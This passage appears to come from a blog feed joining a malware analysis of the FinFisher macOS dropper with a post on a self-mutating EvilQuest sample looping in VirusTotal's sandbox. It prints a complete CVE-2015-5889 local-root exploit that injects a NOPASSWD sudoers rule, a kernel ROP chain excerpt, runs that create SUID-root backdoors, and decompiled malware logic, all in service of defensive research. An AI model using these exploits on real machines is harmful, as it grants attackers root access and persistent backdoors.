+[GIPath compressedPayload] __text:100003083 mov rdi, rax ; /Users/username/Library/Caches/arch.zip __text:100003086 call _objc_retainAutoreleasedReturnValue __text:10000308B mov r15, rax __text:10000308E mov ecx, 1 __text:100003093 mov rdi, r14 ; id __text:100003096 mov rax, cs:selRef_writeToFile_atomically_ __text:10000309D mov rsi, rax ; SEL __text:1000030A0 mov rdx, r15 ; makes a copy of the decrypted payload here __text:1000030A3 call r12 ; _objc_msgSend ; [OS_dispatch_data writeToFile:atomically:] __text:1000030A6 mov rdi, r15 ; id If we set a breakpoint at 0x1000030A6 we can just copy the decrypted archive /Users/username/Library/Caches/arch.zip from the filesytem.\nWe can now take a peek at the payload:\norg.logind.ctp.archive ├── helper ├── helper2 ├── helper3 ├── installer ├── logind ├── logind.kext │ └── Contents │ ├── Info.plist │ ├── MacOS │ │ └── logind │ └── Resources │ └── en.lproj │ └── InfoPlist.strings ├── logind.plist └── storage.framework └── Contents ├── Info.plist ├── MacOS │ └── logind ├── PkgInfo └── Resources ├── 7f.bundle │ └── Contents │ ├── Info.plist │ ├── MacOS │ │ └── 7f │ └── Resources │ ├── 7FC.dat │ └── AAC.dat ├── 80C.dat ├── dataPkg └── logind.plist 13 directories, 19 files Amnesty report describes two exploits but this version contains three. All the exploits are public, so no 0days here. Nothing like packaging free work and selling it for big bucks :-].\nThe third exploit is a public exploit by qwertyoruiop called tpwn. Comparing strings between helper3 binary and public source code:\nHelper3\nIDA __cstring:00003ECB aProcUcred db \u0026#39;_proc_ucred\u0026#39;,0 ; DATA XREF: start+129C↑o __cstring:00003ED7 aPosixCredGet db \u0026#39;_posix_cred_get\u0026#39;,0 __cstring:00003EE7 aChgproccnt db \u0026#39;_chgproccnt\u0026#39;,0 __cstring:00003EF3 aIorecursiveloc db \u0026#39;_IORecursiveLockUnlock\u0026#39;,0 __cstring:00003F0A aZn10ioworkloop db \u0026#39;__ZN10IOWorkLoop8openGateEv\u0026#39;,0 __cstring:00003F0A ; DATA XREF: start+1DE3↑o __cstring:00003F26 aZn13ioeventsou db \u0026#39;__ZN13IOEventSource8openGateEv\u0026#39;,0 __cstring:00003F45 aEscalatingPriv db \u0026#39;Escalating privileges! -qwertyoruiop\u0026#39;,0Ah,0 __cstring:00003F45 ; DATA XREF: start+2138↑o __cstring:00003F6B aIolog db \u0026#39;_IOLog\u0026#39;,0 ; DATA XREF: start+2150↑o __cstring:00003F72 aThreadExceptio db \u0026#39;_thread_exception_return\u0026#39;,0 __cstring:00003F8B aChmod06777S db \u0026#39;chmod 06777 %s\u0026#39;,0 __cstring:00003F9A aChownRootWheel db \u0026#39;chown root:wheel %s\u0026#39;,0 Source code\nPUSH_GADGET(stack) = RESOLVE_SYMBOL(mapping_kernel, \u0026#34;_IORecursiveLockUnlock\u0026#34;); PUSH_GADGET(stack) = ROP_POP_RAX(mapping_kernel); PUSH_GADGET(stack) = heap_info[1].kobject+0xe0; PUSH_GADGET(stack) = ROP_READ_RAX_TO_RAX_POP_RBP(mapping_kernel); PUSH_GADGET(stack) = JUNK_VALUE; PUSH_GADGET(stack) = ROP_RAX_TO_ARG1(stack,mapping_kernel); PUSH_GADGET(stack) = RESOLVE_SYMBOL(mapping_kernel, \u0026#34;__ZN10IOWorkLoop8openGateEv\u0026#34;); PUSH_GADGET(stack) = ROP_POP_RAX(mapping_kernel); PUSH_GADGET(stack) = heap_info[1].kobject+0xe8; PUSH_GADGET(stack) = ROP_READ_RAX_TO_RAX_POP_RBP(mapping_kernel); PUSH_GADGET(stack) = JUNK_VALUE; PUSH_GADGET(stack) = ROP_RAX_TO_ARG1(stack,mapping_kernel); PUSH_GADGET(stack) = RESOLVE_SYMBOL(mapping_kernel, \u0026#34;__ZN13IOEventSource8openGateEv\u0026#34;); PUSH_GADGET(stack) = ROP_ARG1(stack, mapping_kernel, (uint64_t)\u0026#34;Escalating privileges! -qwertyoruiop\\n\u0026#34;) PUSH_GADGET(stack) = RESOLVE_SYMBOL(mapping_kernel, \u0026#34;_IOLog\u0026#34;); PUSH_GADGET(stack) = RESOLVE_SYMBOL(mapping_kernel, \u0026#34;_thread_exception_return\u0026#34;); They match and they didn\u0026rsquo;t even bother to modify the strings. Pathetic. Pfttttt!\nAll the exploits target macOS Yosemite or older, giving another potential clue about how old this version might be. The tpwn exploit is from 2015.\nLet\u0026rsquo;s get back to applicationDidFinishLaunching analysis to understand how the exploits are used. After the payload is decrypted and extracted, the next executed method is executeTrampoline. Another three methods are referenced inside:\n[appAppDelegate isAfterPatch] [appAppDelegate launchNewStyle] [appAppDelegate launchOldStyle] The first to be executed is isAfterPatch. It verifies if the target system is on a given OS release or not. This is used to make the decision to execute new or old style exploits.\nThe launchOldStyle tries to execute the helper exploit. If Amnesty exploit reference is correct, this is a very old exploit written in 2010, tested against 10.8.X, and apparently fixed in 2013 or 2014.\nWe can test the original exploit against a Mountain Lion 10.8.5 VM:\nbash $ uname -an Darwin mountain-lion-64.local 12.5.0 Darwin Kernel Version 12.5.0: Mon Jul 29 16:33:49 PDT 2013; root:xnu-2050.48.11~1/RELEASE_X86_64 x86_64 $ clang -o exploit exploit.m -framework Foundation -framework SecurityFoundation $ ./exploit /bin/sleep /tmp/backd00r Apple MACOS X \u0026lt; 10.9/10? local root exploit by: \u0026lt;mu-b@digit-labs.org\u0026gt; http://www.digit-labs.org/ -- Digit-Labs 2010!@$! * Found Authenticator Class! * found UserUtilities Class! * authenticateUsingAuthorizationSync:authObj returned: 1 * now execute suid backdoor at /tmp/backd00r $ ls -la /tmp/backd00r -r-s--x--x 1 root wheel 14080 Sep 28 03:24 /tmp/backd00r $ /tmp/backd00r 60 \u0026amp; [1] 495 $ ps u -p 495 USER PID %CPU %MEM VSZ RSS TT STAT STARTED TIME COMMAND root 495 0.0 0.0 2432748 464 s000 S 3:25AM 0:00.00 /tmp/backd00r 60 The exploit works as described. The source argument is copied to the selected target and made SUID root.\nThe helper binary contains this exploit in do_assistive_copy function but will ask for user permission if exploit fails. This good old social engineering dialog happens at do_ask_user_permission function.\nnm $ nm helper -s __TEXT __text (...) 0000000100003277 t _do_ask_user_permission 0000000100002470 t _do_assistive_copy (...) Let\u0026rsquo;s get back to launchOldStyle method to understand how helper is called.\nThe Objective-C code is something like this:\nNSNumber *perm = [NSNumber numberWithUnsignedLong:0755]; NSNumber *user = [NSNumber numberWithUnsignedLong:0]; NSNumber *group = [NSNumber numberWithUnsignedLong:0]; NSDictionary *attr = [NSDictionary dictionaryWithObjectsAndKeys: perm, NSFilePosixPermissions, user, NSFileOwnerAccountID, group, NSFileGroupOwnerAccountID, nil]; NSFileManager *fm = [[NSFilemanager alloc] init]; // returns path to extracted zip payload + helper NSString *helperPath = [GIPath trampoline]; [fm setAttributes:attr ofItemAtPath:helperPath error:nil]; NSTask *task = [[NSTask alloc] init]; // returns path to extracted zip payload + helper NSString *launchPath = [GIPath trampoline]; [task setLaunchPath:launchPath]; // returns path to extracted zip payload + installer NSString *installerPath = [GIPath installer] // returns path to extracted zip payload NSString *payloadPath = [GIPath expandedPayload]; NSArray *args = [NSArray arrayWithObjects:installerPath, payloadPath, nil]; [task setArguments:args]; [task launch]; [task waitUntilExit]; int status = [task terminationStatus]; The helper binary is called with arguments /Users/username/Library/Caches/org.logind.ctp.archive/installer (part of the extracted payload) and /Users/username/Library/Caches/org.logind.ctp.archive (the extracted payload folder path). The original exploit requires the target file, this version just the path.\nWith this information we can test the helper binary in a vulnerable virtual machine:\nbash $ ./helper /bin/sleep /tmp/ $ ls -la /tmp/sleep -rwsrwsrwx 1 root wheel 14080 Sep 28 05:24 /tmp/sleep But if we execute it in a non-vulnerable macOS version:\nbash $ ./helper /bin/sleep /tmp/ 2020-09-28 05:26:48.452 helper[2234:193615] ### No entitlement for SystemAdministration !!! 2020-09-28 05:26:48.460 helper[2234:193620] ### syncProxyWithSemaphore error:Error Domain=NSCocoaErrorDomain Code=4097 \u0026#34;connection to service named com.apple.systemadministration.writeconfig\u0026#34; UserInfo={NSDebugDescription=connection to service named com.apple.systemadministration.writeconfig} If the exploit fails we get a prompt to insert the password aka do_ask_user_permission is executed:\nBut in this case the argument logic is a bit different. The first argument is the target binary to modify permissions (the exploit instead makes a copy and then modifies the permissions in the copy).\nbash $ cp /bin/sleep /tmp $ ls -la /tmp/sleep -rwxr-xr-x 1 reverser wheel 18080 Sep 28 18:39 sleep $ ./helper_patched /tmp/sleep /tmp (Insert password interruption...clicky click) $ ls -la /tmp/sleep -rwsrwsrwx 1 root wheel 18080 Sep 28 18:39 sleep In this case I patched helper_patched to bypass the do_assistive_copy exploit and go directly to the do_ask_user_permission method. The patch is just remove the call and replace with code to set eax to 1.\nIDA __text:10000242C E8 3F 00 00 00 call _do_assistive_copy ; 0 on success, 1 on failure __text:100002431 48 8B 4D B8 mov rcx, [rbp+var_48] __text:100002435 89 01 mov [rcx], eax In a vulnerable system the exploit will make /Users/username/Library/Caches/org.logind.ctp.archive/installer binary SUID root so it can run with higher privileges for persistence installation purposes.\nThis binary has the same name as the initial dropper but it\u0026rsquo;s a stripped down version (no unzip capabilities, no anti-debugging/anti-vm, no exploit usage) used to install system persistence.\nLet\u0026rsquo;s continue analysis of the other exploits.\nThe launchNewStyle method will try to execute the helper2 exploit. The exploit is the following Python script:\n# CVE-2015-5889: issetugid() + rsh + libmalloc osx local root # tested on osx 10.9.5 / 10.10.5 # jul/2015 # by rebel import os,time,sys from sys import argv script, param = argv env = {} s = os.stat(\u0026#34;/etc/sudoers\u0026#34;).st_size env[\u0026#39;MallocLogFile\u0026#39;] = \u0026#39;/etc/crontab\u0026#39; env[\u0026#39;MallocStackLogging\u0026#39;] = \u0026#39;yes\u0026#39; env[\u0026#39;MallocStackLoggingDirectory\u0026#39;] = \u0026#39;a\\n* * * * * root echo \u0026#34;ALL ALL=(ALL) NOPASSWD: ALL\u0026#34; \u0026gt;\u0026gt; /etc/sudoers\\n\\n\\n\\n\\n\u0026#39; #sys.stderr.write(\u0026#34;creating /etc/crontab..\u0026#34;) p = os.fork() if p == 0: os.close(1) os.close(2) os.execve(\u0026#34;/usr/bin/rsh\u0026#34;,[\u0026#34;rsh\u0026#34;,\u0026#34;localhost\u0026#34;],env) time.sleep(1) if \u0026#34;NOPASSWD\u0026#34; not in open(\u0026#34;/etc/crontab\u0026#34;).read(): sys.stderr.write(\u0026#34;failed\\n\u0026#34;) sys.exit(-1) #sys.stderr.write(\u0026#34;done\\nwaiting for /etc/sudoers to change (\u0026lt;60 seconds)..\u0026#34;) while os.stat(\u0026#34;/etc/sudoers\u0026#34;).st_size == s: # sys.stderr.write(\u0026#34;.\u0026#34;) time.sleep(1) #sys.stderr.write(\u0026#34;\\ndone\\n\u0026#34;) my_command = \u0026#34;sudo chmod 06777 %s \u0026amp; sudo chown root:wheel %s\u0026#34; % (param, param) os.system(my_command) The exploit argument is the target to modify to SUID root if exploit is successful. In this case it will be the installer binary inside the extracted payload, as the previous exploit.\nIf the exploit was successful, the method will return one, zero otherwise.\nRunning against Mountain Lion 10.8.5 system:\nbash $ cp /bin/sleep /tmp $ ls -la /tmp/sleep -rwxr-xr-x 1 reverser wheel 14080 Sep 28 19:45 /tmp/sleep $ python helper2 /tmp/sleep failed Running against a vulnerable Mavericks 10.9.5 system:\nbash $ cp /bin/sleep /tmp $ ls -la /tmp/sleep -rwxr-xr-x 1 reverser wheel 14080 Sep 28 19:47 /tmp/sleep $ python helper2 /tmp/sleep (wait a minute for next crontab execution) $ ls -la /tmp/sleep -rwsrwsrwx 1 root wheel 14080 Sep 28 19:47 /tmp/sleep The exploit leaves (too many) traces in the target system and no code (as far as I can see) exists to clean it up:\nbash $ sudo tail /etc/sudoers # %wheel ALL=(ALL) NOPASSWD: ALL # Samples # %users ALL=/sbin/mount /cdrom,/sbin/umount /cdrom # %users localhost=/sbin/shutdown -h now ALL ALL=(ALL) NOPASSWD: ALL ALL ALL=(ALL) NOPASSWD: ALL ALL ALL=(ALL) NOPASSWD: ALL ALL ALL=(ALL) NOPASSWD: ALL ALL ALL=(ALL) NOPASSWD: ALL $ sudo tail /etc/crontab \u0026#39; rlogin(876,0x7fff7a2c4310) malloc: stack logs being written into /tmp/stack-logs.876.1002df000.rlogin.Ers4v2.index rlogin(876,0x7fff7a2c4310) malloc: recording malloc and VM allocation stacks to disk using standard recorder rlogin(876,0x7fff7a2c4310) malloc: stack logs deleted from /tmp/stack-logs.876.1002df000.rlogin.Ers4v2.index rlogin(1038,0x7fff7a2c4310) malloc: MallocStackLoggingDirectory env var set to unwritable path \u0026#39;a * * * * * root echo \u0026#34;ALL ALL=(ALL) NOPASSWD: ALL\u0026#34; \u0026gt;\u0026gt; /etc/sudoers There are no references to helper3 exploit, so it might have been packaged by mistake or waiting for updated dropper, or just a replacement for helper2 exploit.\nThis ends up the analysis of executeTrampoline method called from applicationDidFinishLaunching.\nThe next method is -[appAppDelegate installPayload]. If everything went as expected up to this moment, the dropper was able to extract its payload to /Users/username/Library/Caches/org.logind.ctp.archive/ folder and managed to set the installer binary SUID root. The -[appAppDelegate installPayload] method will just execute the SUID binary responsible for persistence installation.\nhar __cdecl -[appAppDelegate installPayload](appAppDelegate *self, SEL a2) { NSTask *v2; // rax NSTask *v3; // r14 id v4; // rax id v5; // rbx sleep(2u); // NSTask *task = [[NSTask alloc] init]; v2 = objc_msgSend(\u0026amp;OBJC_CLASS___NSTask, \u0026#34;alloc\u0026#34;); v3 = objc_msgSend(v2, \u0026#34;init\u0026#34;); // retrieve path to SUID binary: /Users/username/Library/Caches/org.logind.ctp.archive/installer v4 = +[GIPath installer](\u0026amp;OBJC_CLASS___GIPath, \u0026#34;installer\u0026#34;); v5 = objc_retainAutoreleasedReturnValue(v4); // set the binary to execute objc_msgSend(v3, \u0026#34;setLaunchPath:\u0026#34;, v5); objc_release(v5); // execute the binary objc_msgSend(v3, \u0026#34;launch\u0026#34;); // wait for its exit objc_msgSend(v3, \u0026#34;waitUntilExit\u0026#34;); LOBYTE(v5) = (unsigned int)objc_msgSend(v3, \u0026#34;terminationStatus\u0026#34;) == 0; objc_release(v3); return (char)v5; } As I wrote before, this installer is kind of a stripped down version of the dropper. Its hash is ac414a14464bf38a59b8acdfcdf1c76451c2d79da0b3f2e53c07ed1c94aeddcd.\nThe last method to be executed by the dropper is -[appAppDelegate removeTraces]. It simply removes the decrypted zip file, the extracted payload folder, and the malicious application where the dropper was executed from. This will be executed whether installPayload is successful or not.\nThis closes the analysis of the main dropper binary. Next is the SUID installer to understand the persistence operations. That\u0026rsquo;s chapter 2.\nHave fun,\nfG!\nP.S.: Sorry for the ugly code highlighting, I need to customize a better theme.\n","permalink":"https://reverse.put.as/2020/09/26/the-finfisher-tales-chapter-1/","summary":"\u003cp\u003eAmnesty International finally dropped the bomb and released a \u003ca href=\"https://www.amnesty.org/en/latest/research/2020/09/german-made-finspy-spyware-found-in-egypt-and-mac-and-linux-versions-revealed/\"\u003ereport\u003c/a\u003e about FinSpy spyware made by FinFisher Gmbh.\u003c/p\u003e\n\u003cp\u003eThe most interesting thing was the revelation of Mac and Linux versions, something that was missing from previous reports on this commercial malware (\u003ca href=\"https://securelist.com/new-finspy-ios-and-android-implants-revealed-itw/91685/\"\u003eKaspersky\u003c/a\u003e, \u003ca href=\"https://wikileaks.org/spyfiles/docs/gamma/291_remote-monitoring-and-infection-solutions-finspy-mobile.html\"\u003eWikileaks\u003c/a\u003e).\u003c/p\u003e","title":"The Finfisher Tales, Chapter 1: The dropper"},{"content":"No. I just clickbaited you but don\u0026rsquo;t leave yet, keep reading for something fun!\nA couple of days ago I found something curious on VirusTotal. There were more than 40 thousand binaries with the same size in a single day. That seemed very odd so I loaded two random binaries and compared their contents. The only difference was on strings section.\nVirusTotal detections were very low (two to three) and identified the samples as EvilQuest/ThiefQuest malware.\nTo prove that all the binaries were the same except for strings, I wrote a quick Mach-O stats utility in Go (yes, 2020 is this crazy!) to hash the code and strings sections separately. The hypothesis is that the code section would have the same hash for all the samples, and the strings section would have a unique hash for each sample. The output confirmed that this was indeed the case - same code, different strings.\nRunning this program against 206091 binaries totalling 34GB of data:\nbash Mach-O Stats (c) 2020 Pedro Vilaca. All Rights Reserved 100% |███████████████████████████████████████| (206091/206091, 1563 it/s) [2m11s:0s] __text map cd87dfd659fc2334ccc59093c1f41ba9abf4c88046d438ddd8bc2d82f55859d7 206091 Given that the strings are encrypted/obfuscated, my first idea was that this could be a new version with mutated versions being used in different sources. Doesn\u0026rsquo;t make that much sense given that the code was the same but given that EvilQuest has ransomware features, this could be for example different BitCoin wallets for each sample.\nNow it was time to load one of the samples into a disassembler and give a look at its contents. Assuming that the VirusTotal detections were correct even if too low, I grabbed the known sample of EvilQuest. This sample contains debugging symbols so it\u0026rsquo;s very easy to navigate since most function names are explicit about their intents. The new sample fixed that mistake and had that information removed.\nBefore bringing the heavy diffing guns such as BinDiff and Diaphora I like to give a look around to feel what\u0026rsquo;s going on. In this case the code had differences but was very similar. I could see what were clearly obfuscated/encrypted strings like in the original sample. So, I tried to find those functions using the symbols from the first sample. That was fast and easy and confirmed that the code was related (either from the same author or someone reusing it - attribution is hard :P).\nScott Knight released a script to decrypt/encrypt the original samples strings, but it doesn\u0026rsquo;t work with the new samples. It makes sense given that there are keys and tables that could have changed, and also what appears to be a new type of obfuscated/encrypted string format.\n000Bg{0000090nQ4XL1qPsnl1ZjpKX0lkFoa0000053 The new strings type appears to always starts with 000Bg{.\nLearning a new programming language is easier when you have things to do with it, so I decided to write a decrypter/deobfuscator in Go. In hindsight it wasn\u0026rsquo;t a smart decision because it\u0026rsquo;s kind of ugly to deal with buffers in Go and much easier in C (or I don\u0026rsquo;t know yet the best way to do it in Go).\nbash $ ./evilquest_deobfuscator -s \u0026#34;000Bg{0000090nQ4XL1qPsnl1ZjpKX0lkFoa0000053\u0026#34; EvilQuest String Deobfuscator (c) 2020 Pedro Vilaca. All Rights Reserved 000Bg{0000090nQ4XL1qPsnl1ZjpKX0lkFoa0000053 -\u0026gt; rb+ Meanwhile, the next day there were again more than 40 thousand new samples with the same size. Confirmed again that the only difference was in strings. While reversing and writing the strings decrypter I noticed that the hash of the sample I was using was modified. That generated a brain click and I went to bed thinking that this wasn\u0026rsquo;t a big malware campaign (very sad!) because it didn\u0026rsquo;t make sense with so many samples but it could be a VirusTotal issue. VirusTotal sandbox just got trapped into an analysis loop. This idea was reinforced by the fact that the sample had been submitted from the ZZ country code, meaning unknown origin. Connecting these two ideas reinforced my belief that this was the right path.\nAfter I finished the strings decrypter I could verify that my unique samples campaign hypothesis wasn\u0026rsquo;t valid. The strings were all the same, just encrypted/obfuscated with different keys.\nSo, the next step was to verify the code to see what was happening there. This was very easy to find since it\u0026rsquo;s the first thing the sample does.\nAt the entrypoint we can observe the mutation function being called first with argv[0] as its argument.\nIDA 10001A8D0 public start 10001A8D0 start proc near (...) 10001A8D0 push rbp 10001A8D1 mov rbp, rsp 10001A8D4 sub rsp, 2F0h 10001A8DB mov rax, cs:___stack_chk_guard_ptr 10001A8E2 mov rax, [rax] 10001A8E5 mov [rbp+var_8], rax 10001A8E9 mov [rbp+var_94], 0 10001A8F3 mov [rbp+var_98], edi 10001A8F9 mov [rbp+var_A0], rsi 10001A900 mov rax, [rbp+var_A0] 10001A907 mov rdi, [rax] ; argv[0] 10001A90A call fg_open_and_reencrypt_cstrings ; binary self modifies here (...) Next follows opening the executable itself with rb+ mode (reading and writing). Fun enough there is a memory leak because the decrypted string buffer is malloc\u0026rsquo;ed in the decryptor function. One of the differences from this sample versus the previous is the increased usage of dynamically allocated memory, increasing the potential for memory leaks. There are a lot more memory leaks all over the code. Xcode Instruments has a nice leak detector (hint, hint).\nIDA 10001A840 fg_open_and_reencrypt_cstrings proc near 10001A840 ; CODE XREF: start+3A↓p 10001A840 10001A840 var_24 = dword ptr -24h 10001A840 __filename = qword ptr -20h 10001A840 FILE_pointer = qword ptr -18h 10001A840 var_10 = qword ptr -10h 10001A840 var_4 = dword ptr -4 10001A840 10001A840 push rbp 10001A841 mov rbp, rsp 10001A844 sub rsp, 30h 10001A848 mov [rbp+var_10], rdi 10001A84C mov rdi, [rbp+var_10] 10001A850 lea rax, a000bg0000090nq_18 ; \u0026#34;000Bg{0000090nQ4XL1qPsnl1ZjpKX0lkFoa000\u0026#34;... 10001A857 mov [rbp+__filename], rdi 10001A85B mov rdi, rax 10001A85E call fg_decrypt_0000Bg_string ; decrypt/decode string 10001A863 mov rdi, [rbp+__filename] 10001A867 mov rsi, rax ; \u0026#34;rb+\u0026#34; 10001A867 ; memleak here since the returned ptr was calloc\u0026#39;ed 10001A86A call _fopen 10001A86F mov [rbp+FILE_pointer], rax 10001A873 cmp [rbp+FILE_pointer], 0 10001A878 jz loc_10001A890 10001A87E mov rdi, [rbp+FILE_pointer] ; FILE * 10001A882 call _ftrylockfile 10001A887 cmp eax, 0 10001A88A jz loc_10001A89C 10001A890 10001A890 loc_10001A890: ; CODE XREF: fg_open_and_reencrypt_cstrings+38↑j 10001A890 mov [rbp+var_4], 0FFFFFFFFh 10001A897 jmp loc_10001A8C1 10001A89C ; --------------------------------------------------------------------------- 10001A89C 10001A89C loc_10001A89C: ; CODE XREF: fg_open_and_reencrypt_cstrings+4A↑j 10001A89C mov rdi, [rbp+FILE_pointer] ; FILE* handle 10001A8A0 call fg_reencrypt_cstrings 10001A8A5 mov rdi, [rbp+FILE_pointer] ; FILE * 10001A8A9 call _funlockfile 10001A8AE mov rdi, [rbp+FILE_pointer] ; FILE * 10001A8B2 call _fclose 10001A8B7 mov [rbp+var_4], 0 10001A8BE mov [rbp+var_24], eax 10001A8C1 10001A8C1 loc_10001A8C1: ; CODE XREF: fg_open_and_reencrypt_cstrings+57↑j 10001A8C1 mov eax, [rbp+var_4] 10001A8C4 add rsp, 30h 10001A8C8 pop rbp 10001A8C9 retn 10001A8C9 fg_open_and_reencrypt_cstrings endp The fg_reencrypt_cstrings function is previous listing is where the mutation occurs. The function will find the __cstring section and iterate over its contents, decrypting and encrypting the strings, and write back to the binary. The original binary is already modified when it returns from fg_open_and_reencrypt_cstrings .\n(...) for ( j = 0; j \u0026lt; sg-\u0026gt;nsects; ++j ) { v12 = (__int64)sub_100006580(a1, v17, 80LL); // obfuscated string is \u0026#34;__cstring\u0026#34; v2 = fg_decrypt_0000Bg_string(\u0026#34;000Bg{00000H0nQ4XL1qPsnl3oBkir1CDCUq3Z{iy|22B2MZ0000073\u0026#34;); if ( !strcmp((const char *)v12, v2) ) { v11 = (__int64)sub_100006580(a1, *(unsigned int *)(v12 + 48), *(_QWORD *)(v12 + 40)); v10 = 0LL; v9 = 0LL; v8 = 0; fseek(a1, *(unsigned int *)(v12 + 48), 0); while ( (unsigned __int64)v8 \u0026lt; *(_QWORD *)(v12 + 40) ) { if ( *(_BYTE *)(v11 + v8) ) { ++v9; } else if ( v9 ) { v7 = (char *)calloc(1uLL, v9 + 1); __memcpy_chk(v7, v10 + v11, v9, -1LL); v6 = fg_decrypt_0000Bg_string(v7); __s = (char *)fg_encrypt_0000Bg_string(v6); if ( v7 != v6 ) { v3 = strlen(__s); if ( v3 == strlen(v7) ) { fseek(a1, v10 + *(unsigned int *)(v12 + 48), 0); fwrite(__s, 1uLL, v9, a1); free(v6); } } free(v7); free(__s); v10 += v9 + 1; v9 = 0LL; } else { ++v10; } ++v8; } } v17 += 80LL; } (...) At this point it was very clear that the sandbox loop was happening. The original sample submitted to VirusTotal mutated itself, generating a new sample that was also submitted to the sandbox because it was a \u0026ldquo;new\u0026rdquo; executable file (the sandbox sees the original as a dropper) and so on. This explains why since 5th September 2020 there are around more than 40k new daily samples.\nDate Total 2020-09-05 14033 2020-09-06 47782 2020-09-07 47887 2020-09-08 47849 2020-09-09 48540 2020-09-10 48819 2020-09-11 45681 2020-09-12 45263 2020-09-13 46797 2020-09-14 16437 2020-09-15 43440 2020-09-16 40616 2020-09-17 40165 2020-09-18 40382 2020-09-19 39901 It\u0026rsquo;s also easy to see on VirusTotal graph feature with the relationships between the samples. This is a simple example but you can draw graphs with more items that show this relationship.\nGiven all these assumptions it should be easy to find the patient zero sample.\nAs far as I can see this started on 2020-09-05. I looked up the earliest submission date for that day and there were two samples with the following hashes:\n9efc7a1f373026a266a642b8417544b92de08e25b6bcdc12d7bfd44bb8993721 2f1fbd634ebac9079c29e1e659fe3e3f3fd7f3d0aefd4d513563d371b558d22c Both have ookcucythguan as submission name, and were submitted from Germany via the web interface. A minute later we can observe other samples being analyzed for the first time.\n2020-09-05 17:06:57 9efc7a1f373026a266a642b8417544b92de08e25b6bcdc12d7bfd44bb8993721 (P0) 2020-09-05 17:07:47 2f1fbd634ebac9079c29e1e659fe3e3f3fd7f3d0aefd4d513563d371b558d22c (P0) 2020-09-05 17:08:32 3499d8119db3bd9365a7b1d0b3f677cc9adc5efe9097234ac92e1aa915ef11b1 2020-09-05 17:08:33 a3f9a98d8a60c77666d4bf73b9ae2b72dafa32251813cba3a79a2aeb7511037c 2020-09-05 17:08:35 ade3e5d2bc094dd2835905aea82d58801a8fb53aa6449bd520d404fcfbc19e88 2020-09-05 17:08:36 ca984bcda781d11cc220d45bc01b2e34bd8349e83139f6a9fdd9dd55ddbad4fd 2020-09-05 17:08:38 d1a11b45b807a9f7da05db69ba1706a850064497376a4775cbb15b1d94b95588 2020-09-05 17:08:39 60db8eb741601aba3514e809775a0514a47a05117f50a93773e9c38ce868326d 2020-09-05 17:09:16 bd6e1b8ee1c01cb0326d01e026d9d9adcce64c1d021a97b18416680f2e774ca1 2020-09-05 17:09:18 5e8a0a3b6aeb4a37fc1d949ebe4846accd5842d4eb145d37fa7af41b0acbc70c (...) Let\u0026rsquo;s see if the code for those initial samples is identical:\nbash Mach-O Stats (c) 2020 Pedro Vilaca. All Rights Reserved __text map cd87dfd659fc2334ccc59093c1f41ba9abf4c88046d438ddd8bc2d82f55859d7 10 __cstring map c8bcd6734f292c094295c8902432e57bfd7e040e52b684966298789e79280a17 1 6e663fe4412847efc35eba032dd931ac47d68296a5498a2b32888ce721f52ae4 1 8feeda9ad8667378faa4f18c593941b25a9778f4dfb9d4c158af9dc960b0f3f8 1 5992aa7be51662a1aa4c9a8c817d914c8ae5e1af178ef440cb38d553f7ff626a 1 51245ddb85164d78d0e968a5b0ed9607b6ee54b11a6a43622018d7260fff1c95 1 f475383e966261ee28209a636bda87280640b34198adcb507d4518bad93e1728 1 112c82eaa856d4594d9c2e61020fb922e0f203fc0a7791fe2cc98f1a829f7bcd 1 6cdd2f844a19db4a9dafc95883a7bbc53b205637fc3a71b823ceda15c45c160e 1 f083c6df6305f979fd9228ea520997327fd3bda7dea7cbf98291235edb3c5683 1 3c444bd356c468001b1d2c79d4df2f9efd676302f4203b8342ecdb63334b0fa5 1 What this tells us is that the __text section is identical (same SHA256 for all 10 samples), while each __cstring section is unique (10 different hashes).\nVirusTotal has information about the execution parents of processes submitted to the sandbox, for dropper analysis. Let\u0026rsquo;s check the execution parents of these samples:\nFirst the patient zero samples:\n{ \u0026#34;sha256\u0026#34;: \u0026#34;9efc7a1f373026a266a642b8417544b92de08e25b6bcdc12d7bfd44bb8993721\u0026#34;, \u0026#34;submission_names\u0026#34;: [ \u0026#34;ookcucythguan\u0026#34; ], \u0026#34;execution_parents\u0026#34;: null, \u0026#34;first_seen\u0026#34;: \u0026#34;2020-09-05 17:06:57\u0026#34; } { \u0026#34;sha256\u0026#34;: \u0026#34;2f1fbd634ebac9079c29e1e659fe3e3f3fd7f3d0aefd4d513563d371b558d22c\u0026#34;, \u0026#34;submission_names\u0026#34;: [ \u0026#34;ookcucythguan\u0026#34; ], \u0026#34;execution_parents\u0026#34;: null, \u0026#34;first_seen\u0026#34;: \u0026#34;2020-09-05 17:07:47\u0026#34; } And next patient zero \u0026ldquo;children\u0026rdquo;:\n{ \u0026#34;sha256\u0026#34;: \u0026#34;3499d8119db3bd9365a7b1d0b3f677cc9adc5efe9097234ac92e1aa915ef11b1\u0026#34;, \u0026#34;submission_names\u0026#34;: [ \u0026#34;/Users/user1/Library/com.apple.fmdd\u0026#34; ], \u0026#34;execution_parents\u0026#34;: [ \u0026#34;9efc7a1f373026a266a642b8417544b92de08e25b6bcdc12d7bfd44bb8993721\u0026#34; ], \u0026#34;first_seen\u0026#34;: \u0026#34;2020-09-05 17:08:32\u0026#34; } { \u0026#34;sha256\u0026#34;: \u0026#34;a3f9a98d8a60c77666d4bf73b9ae2b72dafa32251813cba3a79a2aeb7511037c\u0026#34;, \u0026#34;submission_names\u0026#34;: [ \u0026#34;/Users/user1/Library/com.apple.fmgd\u0026#34; ], \u0026#34;execution_parents\u0026#34;: [ \u0026#34;9efc7a1f373026a266a642b8417544b92de08e25b6bcdc12d7bfd44bb8993721\u0026#34; ], \u0026#34;first_seen\u0026#34;: \u0026#34;2020-09-05 17:08:33\u0026#34; } { \u0026#34;sha256\u0026#34;: \u0026#34;ade3e5d2bc094dd2835905aea82d58801a8fb53aa6449bd520d404fcfbc19e88\u0026#34;, \u0026#34;submission_names\u0026#34;: [ \u0026#34;/Users/user1/Library/com.apple.fmjd\u0026#34; ], \u0026#34;execution_parents\u0026#34;: [ \u0026#34;9efc7a1f373026a266a642b8417544b92de08e25b6bcdc12d7bfd44bb8993721\u0026#34; ], \u0026#34;first_seen\u0026#34;: \u0026#34;2020-09-05 17:08:35\u0026#34; } { \u0026#34;sha256\u0026#34;: \u0026#34;ca984bcda781d11cc220d45bc01b2e34bd8349e83139f6a9fdd9dd55ddbad4fd\u0026#34;, \u0026#34;submission_names\u0026#34;: [ \u0026#34;/Users/user1/Library/com.apple.fmld\u0026#34; ], \u0026#34;execution_parents\u0026#34;: [ 